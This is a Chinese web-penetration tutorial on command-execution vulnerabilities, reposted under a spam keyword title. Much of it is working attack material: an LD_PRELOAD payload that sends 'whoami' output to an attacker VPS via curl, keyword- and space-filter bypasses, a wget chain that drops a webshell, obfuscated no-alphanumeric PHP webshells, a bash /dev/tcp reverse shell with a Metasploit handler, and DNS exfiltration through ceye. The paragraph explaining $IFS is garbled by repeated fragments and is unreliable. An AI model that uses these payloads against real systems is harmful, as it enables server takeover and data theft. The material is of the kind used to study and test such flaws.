狠狠色丁香婷婷综合尤物/久久精品综合一区二区三区/中国有色金属学报/国产日韩欧美在线观看 - 国产一区二区三区四区五区tv

LOGO OA教程 ERP教程 模切知識交流 PMS教程 CRM教程 開發文檔 其他文檔  
 
網站管理員

【Web滲透】命令執行漏洞

admin
2023年12月12日 16:15 本文熱度 816

一、命令執行介紹

1、命令執行漏洞原理

命令執行漏洞定義:Web應用程序接收用戶輸入,拼接到要執行的系統命令中執行。產生原因:1、用戶輸入未過濾或凈化;2、拼接到系統命令中執行。

2、PHP下命令執行函數

在PHP中具有執行系統命令功能的函數如下:
1、system        
2、exec
3、shell_exec
4、passthru
5、popen
6、proc_popen
7、`反引號
8、ob_start
9、mail函數+LD_PRELOAD執行系統命令

使用示例:

LD_PRELOAD:

LD_PRELOAD可以用來設置程序運行前優先加載的動態鏈接庫,php函數mail在實現的過程中會調用標準庫函數,通過上傳一個編譯好的動態鏈接程序(這個程序中重新定義了一個mail函數會調用的庫函數,并且重新定義的庫函數中包含執行系統命令的代碼。),再通過LD_PRELOAD來設置優先加載我們的上傳的動態鏈接程序,從而實現命令執行。

//a.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(){

   void payload() {
       system("curl http://vps_IP:4123/?a=`whoami`");
   }
   int geteuid() {
       if (getenv("LD_PRELOAD") == NULL) { return 0; }
       unsetenv("LD_PRELOAD");
       payload();
   }
}
//編譯
gcc -c -fPIC a.c -o a
gcc -shared a -o a.so

//mail.php
<?php
putenv("LD_PRELOAD=/var/www/html/a.so");
mail("a@localhost","","","","");
?>
監聽vps的4123端口,訪問mail.php。

ob_start:

bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )
此函數將打開輸出緩沖。當輸出緩沖激活后,腳本將不會輸出內容(除http標頭外),相反需要輸出的內容被存儲在內部緩沖區中。

內部緩沖區的內容可以用 ob_get_contents() 函數復制到一個字符串變量中。想要輸出存儲在內部緩沖區中的內容,可以使用 ob_end_flush() 函數。另外, 使用 ob_end_clean() 函數會靜默丟棄掉緩沖區的內容。
1234
<?php
   ob_start("system");
   echo "whoami";
   ob_end_flush();
?>
//輸出www-data

提示:某些情況下,要注意存在以上函數的php文件,有可能是Webshell。

注:使用PHP.EXE傳遞參數時,如果有空格,一般在Windows 下使用雙引號(“”), Linux 下使用單引號(’)括起來,否則將無法正常執行。

<?php
   echo "
     if(isset($_GET["cmd"])){
        system($_GET["cmd"]);
    }
    echo "</pre>";
?>

二、命令執行漏洞基礎

1、Windows命令執行漏洞利用技巧

思路:截斷輸入,重新拼接。兩條命令都輸入并執行。

1.1、命令執行漏洞拼接符介紹

在Windows系統下的 cmd命令中,有以下一些截斷拼接符。
&前面的語句為假則直接執行后面的
&&前面的語句為假則直接出錯,后面的也不執行
|直接執行后面的語句
||前面出錯執行后面的

2、命令拼接

whoami //正常執行
w"h"o"a"m"i 或"w"h"o"a"m"i"或"w"h"o"a"m"i或w"h"o"a"m"i"//正常執行
who^ami或wh""o^a^mi 或wh""o^a^mi"//正常執行
但是"wh""o^a^mi"這種在開頭就有單引號的情況是不能執行的
(Whoami)或(Wh^o^am""i)或((((Wh^o^am""i)))) //正常執行

可以加任意個"但不能同時連續加2個^ 符號,因為^號是cmd中的轉義符,跟在他后面的符號會被轉義

set命令

知識點:用兩個 % 括起來的變量,會輸出變量的值

set a=who
set b=ami
%a%%b% //正常執行whoami
call %a%%b% //正常執行whoami

切割字符

set a=whoami
%a:~0% //取出所有字符,所以正常執行命令
%a:~0,6% //從開始切割6個字符,剛好是whoami,所以正常執行
%a:~0,5% //切割后是whoam,不是系統命令,不能執行

set a=abc qwe //先自定義
wh^o^%a:~0,1%mi //然后截斷整理后就變成了:wh^o^ami,所以命令執行成功

2、Linux命令執行漏洞利用技巧

2.1、命令執行漏洞拼接符介紹

在Linux系統下的shell命令中,有以下一些截斷拼接符。
在Linux上,上面的;也可以用|、||代替
;前面的執行完執行后面的
| 管道符,上一條命令的輸出,作為下一條命令的參數
||當前面的執行出錯時執行后面的
& 無論前邊語句真假都會執行
&& 只有前邊語句為真,才會執行后邊語句
%0a
%0d

& 放在啟動參數后面表示設置此進程為后臺進程,默認情況下,進程是前臺進程,這時就把Shell給占據了,我們無法進行其他操作,對于那些沒有交互的進程,很多時候,我們希望將其在后臺啟動,可以在啟動參數的時候加一個’&’實現這個目的。

命令終止符

%00
%20#

2.2、命令拼接

a=who
b=ami
$a$b //輸出whoami

對于文件夾的內容,使用$(printf "路徑")代替路徑

利用環境變量

可以通過截取不同的字符執行命令

${PATH:5:1} //l
${PATH:2:1} //s
${PATH:5:1}${PATH:2:1}  //拼接后是ls,執行命令
${PATH:5:1}s            //拼接后是ls,執行命令

2.3、空格繞過

$IFS
$IFS$1
${IFS}
$IFS$9
<     比如cat<a.tct:表示cat a.txt
<>
{cat,flag.php}  //用逗號實現了空格功能,需要用{}括起來
%20
%09

這里解釋一下 I F S , {IFS}, IFS,IFS,$IFS 9 的區別,首先 9的區別,首先 9的區別,首先IFS在linux下表示分隔符,然而我本地實驗卻會發生這種情況,這里解釋一下,單純的cat I F S 2 , b a s h 解釋器會把整個 I F S 2 當做變量名,所以導致輸不出來結果,然而如果加一個 就固定了變量名,同理在后面加個 IFS2,bash解釋器會把整個IFS2當做變量名,所以導致輸不出來結果,然而如果加一個{}就固定了變量名,同理在后面加個 IFS2,bash解釋器會把整個IFS2當做變量名,所以導致輸不出來結果,然而如果加一個就固定了變量名,同理在后面加個可以起到截斷的作用,但是為什么要用$9呢,因為$9只是當前系統shell進程的第九個參數的持有者,它始終為空字符串!

2.4、繞過關鍵字

反斜線繞過

wh\o\ami

雙引號繞過

who"a"mi

單引號繞過

whoa'm'i

反引號繞過

whoam``i

base64繞過

echo d2hvYW1p|base64 -d|sh   其中d2hvYW1p是whoami的base64編碼
echo d2hvYW1p|base64 -d|bash  其中d2hvYW1p是whoami的base64編碼
`echo d2hvYW1p|base64 -d`   將其base64解碼,然后用反引號來執行命令

hex繞過

echo 77686F616D69 | xxd -r -p | bash  其中77686F616D69是whoami的hex編碼

特殊字符繞過

//$*和$@,$x(x 代表 1-9),${x}(x>=10) :比如ca${21}t a.txt表示cat a.txt    在沒有傳入參數的情況下,這些特殊字符默認為空,如下:
wh$1oami
who$@ami
whoa$*mi
#cat被過濾時,還可以考慮使用tac命令
cat$x /etc/passwd

重命名文件繞過

linux下創建文件的命令可以用1>1創建文件名為1的空文件

進一步fuzz發現a>1居然也可以,雖然會報錯,但是還是可以創建空文件。

ls>1可以直接把把ls的內容導入一個文件中,但是會默認追加\n

有了這個基礎我們再來看這道題

<?php
if(strlen($_GET[1])<8){
    echo shell_exec($_GET[1]);
}
?>

簡單的代碼,可以利用

1>wget\
1>域名.\
1>com\
1>-O\
1>she\
1>ll.p\
1>p
ls>a
sh a

這里注意.不能作為文件名的開頭,因為linux下.是隱藏文件的開頭,ls列不出來

然而這里還有個問題,就是ls下的文件名是按照字母順序排序的,所以需要基于時間排序

ls -t>a

網絡地址轉化為數字地址

網絡地址有另外一種表示形式就是數字地址,比如127.0.0.1可以轉化為2130706433可以直接訪問http://2130706433或者[http://0x7F000001]這樣就可以繞過.的ip過濾,這里給個轉化網址http://www.msxindl.com/tools/ip/ip_num.asp

2.5、騷操作

//字符夾命令
666`whoami`666      //bash: 666root666: command not found
666`\whoami`666     //bash: 666root666: command not found
//命令執行后的結果在2個666中間

//命令夾字符
w`f1hgb`ho`f1hgb`am`f1hgb`i     //反引號的作用是把括起來的字符當做命令執行
w`\f1hgb`ho`\f1hgb`am`\f1hgb`i  //這個反斜線作用就是平時的那種連接,反引號的作用是把括起來的字符當做命令執行
wh$(f1hgb)oa$(f1hgb)mi          //和上面的差不多,都說執行和拼接

上述的是既可以繞過命令,又可以繞過文件名的,下述的則是只能用來繞過文件名的:

cat fl[abc]g.php                                 //匹配[abc]中的任何一個
cat f[a-z]ag.txt                                 //匹配a-z范圍的任何字符
cat fla*                                         //用*匹配任意
a=f;d=ag;c=l;cat $a$c$d.php 表示cat flag.php      //內聯執行

//正則
利用正則:比如要讀取etc/passwd
cat /???/??????
cat /???/pass*
cat /etc$u/passwd

2.6、命令執行函數繞過

system("cat /etc/passwd")
<=>
"\x73\x79\x73\x74\x65\x6d"("cat /etc/passwd");
<=>
(sy.(st).em)("cat /etc/passwd");
<=>還可以用注釋方法繞過
"system/*fthgb666*/("cat /etc/passwd);"
<=>
"system/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/.mi);"
<=>
"(sy./*fthgb666*/(st)/*fthgb666*/.em)/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/.mi);"

3、Java 命令執行

這里之所以叫作Java 命令執行,是因為Java 體系非常龐大,其中包括:Java SE、Java EE、Java ME。而無論是分支還是框架,都是以Java SE 為基礎的。

在Java SE 中,存在Runtime 類,在該類中提供了exec 方法用以在單獨的進程中執行指定的字符串命令。像JSP、Servlet、 Struts、 Spring、 Hibernate 等技術一般執行外部程序都會調用此方法(或者使用ProcessBuilder類,但較少)。下面以 Runtime類為例進行說明。

模型代碼如下

import java. io.InputStream;  //導包操作
import java. io.InputStreamReader;
import java. io.BufferedReader;
public class RuntimeTest{
 public static void main (String args []) throws Exception{
   if (args.length==0) {
     System.exit(1);  //沒有參數就退出
   }
   String command = args[0];
   Runtime run = Runtime.getRuntime();
   Process pro = run. exec(command);  //執行命令
   InputStreamReader in = new InputStreamReader(pro.getInputStream());
   BufferedReader buff = new BufferedReader(in);
   for(String temp = buff.readLine();temp!=null;temp=buff.readLine()){
     System.out.println(temp);  //輸出結果
   }
 buff .close();
 in.close();
 }
}

上面的代碼經過編譯后可以執行命令操作,如:java RuntimeTest “whoami”,執行命令操作。

如果程序開發人員沒有正確地使用Runtime 類,就有可能造成Java 命令執行漏洞。像有名的Struts2 框架就存在命令執行漏洞。

三、命令執行高級技巧

1、無數字和字母的webshell

<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
 eval($_GET['shell']);
}

1.1、字符串執行異或繞過

在PHP中,兩個字符串執行異或操作以后,得到的還是一個字符串。所以,我們想得到a-z中某個字母,就找到某兩個非字母、數字的字符,他們的異或結果是這個字母即可。

得到如下的結果(因為其中存在很多不可打印字符,所以我用url編碼表示了):

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

1.2、位運算里的“取反”繞過

利用的是UTF-8編碼的某個漢字,并將其中某個字符取出來,比如'和'{2}的結果是"\x8c",其取反即為字母s

echo ~('瞰'{1}); 輸出:a
echo ~('和'{2}); 輸出:s
echo ~('的'{1}); 輸出:e
<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});

$_=$$_____;
$____($_[$__]);

這個答案還利用了PHP的弱類型特性。因為要獲取'和'{2},就必須有數字2。而PHP由于弱類型這個特性,true的值為1,故true+true==2,也就是('>'>'<')+('>'>'<')==2

1.3、利用自增運算符

在處理字符變量的算數運算時,PHP沿襲了Perl 的習慣,而非C的。例如,在Perl中$a= ‘Z’; a + + ; 將把 a++;將把 a++;將把a變成AA’,而在C中,a= ‘Z’;a++;將把a變成中’[’ (‘Z’ 的ASCII值是90,'['的ASCII值是91)。注意字符變量只能遞增,不能遞減,并且只支持純字母(a-z和A-Z) 。遞增/遞減其他字符變量則無效,原字符串沒有變化。

'a'++ => 'b''b'++ => 'c'… 所以,我們只要能拿到一個變量,其值為a,通過自增操作即可獲得a-z中所有字符。

巧了,數組(Array)的第一個字母就是大寫A,而且第4個字母是小寫a。也就是說,我們可以同時拿到小寫和大寫A,等于我們就可以拿到a-z和A-Z的所有字母。

在PHP中,如果強制連接數組和字符串的話,數組將被轉換成字符串,其值為Array

再取這個字符串的第一個字母,就可以獲得’A’了。

利用這個技巧,我編寫了如下webshell(因為PHP函數是大小寫不敏感的,所以我們最終執行的是ASSERT($_POST[_]),無需獲取小寫a):

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

1.4、通配符

<?php
if(isset($_GET['code'])){
   $code = $_GET['code'];
   if(strlen($code)>35){
       die("Long.");
   }
   if(preg_match("/[A-Za-z0-9_$]+/",$code)){
       die("NO.");
   }
   eval($code);
}else{
   highlight_file(__FILE__);
}

PHP7

PHP7前是不允許用($a)();這樣的方法來執行動態函數的,但PHP7中增加了對此的支持。所以,我們可以通過(‘phpinfo’)();來執行函數,第一個括號中可以是任意PHP表達式。

構造一個可以生成phpinfo這個字符串的PHP表達式

(~%8F%97%8F%96%91%99%90)();

PHP5

Bash標準通配符(也稱為通配符模式)被各種命令行程序用于處理多個文件。有關標準通配符的更多信息,并不是每個人都知道有很多bash語法是可以使用問號“?”,正斜杠“/”,數字和字母來執行系統命令的。你甚至可以使用相同數量的字符獲取文件內容。

我們可以通過man 7 glob 查看通配符幫助或者直接訪問linux官網查詢文檔

1.shell下可以利用.來執行任意腳本
2.Linux文件名支持用glob通配符代替
12
*可以代替0個及以上任意字符
?可以代表1個任意字符

例如ls命令我們可以通過以下語法代替執行:

/???/?s --help

但/tmp/phpXXXXXX就可以表示為/*/???或/???/???,能夠匹配上這個通配符的文件有很多

glob支持用x的方法來構造“這個位置不是字符x”。

排除了第4個字符是-的文件

利用[@-[]來表示大寫字母

。。。。。。

2、處理無回顯的命令執行

2.1、利用自己的vps

2.1.1、是利用bash命令并在本地進行nc監聽結果查看回連日志

先在vps處用nc進行監聽
nc -l -p 8080 -vvv

然后在靶機命令執行處輸入
|bash -i >& /dev/tcp/xxxxxI(你的vps的公網ip)/8080 0>&1

2.1.2、msg反向回連

同樣vps用msg監聽

vps的msf監聽:

use exploit/multi/handler
set payload linux/armle/shell/reverse_tcp
set lport 8080
set lhost xxx.xxx.xxx.xxx
set exitonsession false
exploit -j

然后在靶機命令執行處輸入

|bash -i >& /dev/tcp/xxxxxI(你的vps的公網ip)/8080 0>&1

2.2、利用ceye平臺

記錄在http request中

題目地址
http://192.168.10.55/

后臺源碼
<?php
$a = $_GET['id'];
system("$a");
?>

payload
curl http://192.168.10.55.o40fok.ceye.io/?id=`whoami`
只能使用linux的curl訪問才會成功,在瀏覽器直接訪問時無效的。

記錄在dns query中

DNS在解析的時候是逐級解析的,并且會留下日志,所以可以將回顯放在高級域名,這樣在解析的時候就會將回顯放在高級域名中,我們就可以在dns query中看到回顯。

在注冊ceye.io之后會分配一個三級域名。就是******.ceye.io。
ping `whoami`.******.ceye.io

上面這條命令最終在ping的時候ping的是“root.**.ceye.io”,root就是我們構造的惡意命令執行的結果,我們把它放在四級域名這里,這樣在DNS解析的時候就會記錄下root這個四級域名。然后可以在ceye平臺上看到我們的dns解析日志。也就看到了命令執行的回顯。

所以這種方法的使用必須有ping命令。

四、命令執行自動化工具基本使用

1、commix工具

Commix是一個使用Python開發的漏洞測試工具,這個工具是為了方便的檢測一個請求是否存在命令注入漏洞,并且對其進行測試,在其作者發布的最新版本中支持直接直接導入burp的歷史記錄進行檢測,大大提高了易用性。

項目地址:https://github.com/stasinopoulos/commix

在Kali linux自帶了commix可以直接使用

commix -u http://192.168.1.106/cmd3.php?cmd=127.0.0.1

該文章在 2023/12/13 18:49:41 編輯過
關鍵字查詢
相關文章
正在查詢...
點晴ERP是一款針對中小制造業的專業生產管理軟件系統,系統成熟度和易用性得到了國內大量中小企業的青睞。
點晴PMS碼頭管理系統主要針對港口碼頭集裝箱與散貨日常運作、調度、堆場、車隊、財務費用、相關報表等業務管理,結合碼頭的業務特點,圍繞調度、堆場作業而開發的。集技術的先進性、管理的有效性于一體,是物流碼頭及其他港口類企業的高效ERP管理信息系統。
點晴WMS倉儲管理系統提供了貨物產品管理,銷售管理,采購管理,倉儲管理,倉庫管理,保質期管理,貨位管理,庫位管理,生產管理,WMS管理系統,標簽打印,條形碼,二維碼管理,批號管理軟件。
點晴免費OA是一款軟件和通用服務都免費,不限功能、不限時間、不限用戶的免費OA協同辦公管理系統。
Copyright 2010-2025 ClickSun All Rights Reserved